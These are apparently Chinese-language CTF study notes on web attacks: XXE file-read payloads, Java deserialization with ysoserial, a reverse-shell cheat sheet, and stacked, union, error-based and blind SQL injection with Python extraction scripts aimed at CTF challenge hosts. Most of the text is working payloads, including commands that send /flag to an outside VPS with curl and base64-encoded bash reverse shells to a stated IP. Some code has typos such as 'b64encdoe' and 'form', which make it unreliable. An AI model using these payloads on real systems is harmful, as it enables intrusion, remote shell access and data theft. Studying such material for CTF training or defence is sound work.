December 8, 2024
XXE(XML External Entity attack)XML外部实体注入攻击
<?xml version='1.0'?>
<!DOCTYPE x [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
<username>
admin//或者&xxe;
</username>
<password>123</password>
</root>
&xxe;
会输出文件中的内容
在上传xml文件时,utf8不行可以用utf16
iconv -f utf8 -t utf-16 1.xml>2.xml
svg中的xxe
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
<text x="10" y="20">&file;</text>
</svg>
svg中也可以写js,xss
December 8, 2024
分析序列化后的字符串
例子
Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu
作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段Java序列化的16进制。
java Deserialization Scanner
#
这个工具在burp插件里面有,去下载一下,记得初始化插件
选中发送到插件里(选中右键->拓展->Deserialization->Send request to DS Manual testing)
在Manual Tetsing中用§包裹住字串,不要包裹Brerer
下面选择Encode useing Base64,add添加,再选择Encode useing Base64,Attack
等待一会,会有提示需要1-3minutes

ROME
之后用ysoserial 里的MORE
GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl http://vps:10189 -d @/flag" > a.bin
base64编码
import base64
with open('a.bin','rb')as f:
b=f.read()
print(base64.b64encdoe(b))
放到会执行反序列化的地方取请求,触发命令执行
也可以直接shell
bash -i >& /dev/tcp/111.111.111.111/7015 0>&1
进行base64编码,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx}|{base64,-d}|{bash,-i}" > a.bin
同上base64编码,记得在前面带上Beaere
...
December 8, 2024
正向链接
#
攻击者连接目标机器,如远程桌面,web服务,ssh等
反向连接
#
相当于角色反转,让目标机器来找我们,为什么要这样做呢
常见于命令不回显,受限于防火墙等
反弹shell,让目标机器来找我们,就得要有一个公网ip
我们用ngrok.cc送的,可以免费用一个公网端口
./sunny clientid 204616381952
free.idcfengye.com:10189
本地映射1234d端口,监听
nc -lvp 1234
常见的方式
#
bash -i >& /dev/tcp/ip/port 0>&1
or
bash -c "bash -i >& /dev/tcp/ip/port 0>&1"#更稳定
or
echo "bash -i >& /dev/tcp/192.168.0.112/1234 0>&1" | bash
or
bash -i >& /dev/tcp/111.111.111.111/7015 0>&1
#对上面进行base64编码=>YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTEuMTExLjExMS4xMTEvNzAxNSAwPiYx}|{base64,-d}|{bash,-i}
解释
命令 |
详解 |
bash -i |
产生一个bash交互环境 |
>& |
将联合符号前面的内容与后面相结合,然后一起重定向给后者。这样在被攻击机上就不会显示执行的命令 |
/dev/tcp/47.xxx.xxx.72/2333 |
Linux环境中所有的内容都是以文件的形式存在的,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。 |
0>&1 |
将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容 |
curl http://vps:7015 -d @/flag
-d参数时post
@后面时这个文件
...
December 8, 2024
堆叠注入
用分号可以 执行多条语句
查看所有数据库
查看当前数据库下所有表名
查看表名下所有字段
-1';use 数据库名;show columns from 表名
flag,用预编译的方法
-1';use 数据库名;set @sql=concat('select `fl','ag` fr/**/om Fl','ag');PRE/**/PARE st/**/mt1 FR/**/OM @sql;EX/**/ECUTE stmt1;#
select被过滤,用HANDLER语句,语法
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…) [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT } [ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE
1';HANDLER FlagHere open;HANDLER FlagHere read first;HANDLER FlagHere close;#
‘select ``fl’,‘ag
, from Fl’,‘ag’
...
December 8, 2024
字符型注入
单引号测试,闭合语句
报错,查询字段
id=1' and 1=2 union select 1,2,3%23
其他和整型注入一样,不多做解释
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#',chr(34),chr(39)),chr(46),'1"/**/union/**/select/**/replace(replace(".",chr(34),chr(39)),chr(46),".")#')#
0x char chr等价
December 8, 2024
常见端口
21
22
23
3389
5900
5632
69
139
389
2094
53
6768
80
443
25
110
143
161
1433
1521
3306
5000
5432
6379
9200
270117
22122
81
8080
9080
9081
9090
3700
4848
83
84
85
86
87
88
161
389
445
512
513
514
873
1025
1433
1521
2082
2083
2222
2601
2604
3128
3306
3312
3311
3389
4440
4848
5984
6082
6379
7001
7002
7778
8083
8649
8888
9000
9200
9300
10000
11211
27017
27018
28017
50000
50070
50060
50030
December 8, 2024
报错注入
参数一:String,为XML对象
参数二:XML语句
参数三:查找到后欲替换的数据
参数一:String,为XML文档对象
参数二:XML语句
错误的xml语句会抛出错误,可以看到我们的查询语句
or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1),'2')#
适当修改查询语句即可
报错语句过长,显示不全
select mid(flag,1,16) from flag
select mid(flag,17,16) from flag
多条数据用limit
select flag from flag limit 0,1
select flag from flag limit 0,2
group_concat不能同时配合limit使用
December 8, 2024
整形注入
测试
查询字段数,小于等于不报错,大于报错
确定字段数后,数据库名
id=1111 union select 1,2,database()
表名
id=1111 union select 1,2,group_concat(table_name) form information_schema.tables where table_schema=database()%23
字段
id=1111 union select 1,2,group_concat(column_name) form information_schema.columns where and table_schema=database() table_name='users'%23
查值
id=1111 union select 1,2,username form users%23
查其他数据库
id=1111 union select 1,2,group_concat(schema_name) form information_schema.schemata%23
December 8, 2024
时间盲注
不会抛出错误语句,怎们都是返回一样的
jb不知道什么问题python发包时用parse不行,要直接拼在url上
import requests,time
name = ''
for i in range(1,10):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
# 爆出数据库名
url="http://127.0.0.1/Less-9/?id=1' and if(ascii(substr((select database()),{0},1))>{1},sleep(1),0)--+".format(i,mid)
start_time = time.time() # 注入前的系统时间
r = requests.get(url)
end_time = time.time() # 注入后的时间
if end_time - start_time > 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid <= 32 or mid >= 128:
break
name = name + chr(mid)
print (name)
December 8, 2024
盲注就是回显只有对或者错的情况(如0,1)
1' or '1'='1' group by passwd with rollup having passwd is NULL — –
测试极客大挑战finalsql
import requests
import time
g=0
host = "http://e7adeb0b-7190-4ea3-bd06-49e63e17e775.node4.buuoj.cn:81/backend/content_detail.php"
parse={'id':''}
def getDatabase(): #获取数据库名
global host
ans=''
for i in range(1,1000):
low = 32
high = 128
mid = (low+high)//2
while low < high:
time.sleep(0.1)
# 1^(ascii(substr((select(database())),%d,1))<%d)^1
# 1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1
# 1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1
# 1^(ascii(substr((select(group_concat(password))from(users)),%d,1))<%d)^1
# 1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))<%d)^1
# 1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctftraining')),%d,1))<%d)^1
# 1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema='ctftraining'(and)schema_name='ctftraining')),%d,1))<%d)^1
# 1^(ascii(substr((select(group_concat(Flag))from(ctftraining.Flag)),%d,1))<%d)^1
parse['id']="1^(ascii(substr((select(group_concat(Flag))from(ctftraining.Flag)),%d,1))<%d)^1" % (i,mid)
res = requests.get(host,params=parse)
if res.status_code!=200:
print('!200')
continue
# print(res.text)
if "title" in res.text:
high = mid
else:
low = mid+1
mid=(low+high)//2
if mid <= 32 or mid >=127:
break
if(mid-1==33):
g+=1
if(g>=5):
break
else:
g=0
ans += chr(mid-1)
print("database is -> "+ans)
getDatabase()
# news
# admin,contents
import requests
import time
url = "http://2adc3617-76d6-4705-84e4-1c0e3f21baa2.node4.buuoj.cn:81/search.php"
payload = {
"id" : ""
}
result = ""
g=0
for i in range(1,1000):
l = 33
r =130
mid = (l+r)>>1
while(l<r):
payload["id"] = "0^" + "(ascii(substr((select(group_concat(password))from(F1naI1y)),{0},1))>{1})".format(i,mid)
html = requests.post(url,params=payload)
print(payload)
if(html.code!=200):
time.sleep(0.2)
print('错误,以延迟0.2秒',html.code)
continue
# 正常的回显内容
if "others" in html.text:
l = mid+1
else:
r = mid
mid = (l+r)>>1
if(chr(mid)==" "):
break
result = result + chr(mid)
#出现连续的感叹号,就停
if(mid==33):
g+=1
if(g>=5):
break
else:
g=0
print(result)
print("tables: " ,result)
有一道题的java后端代码
...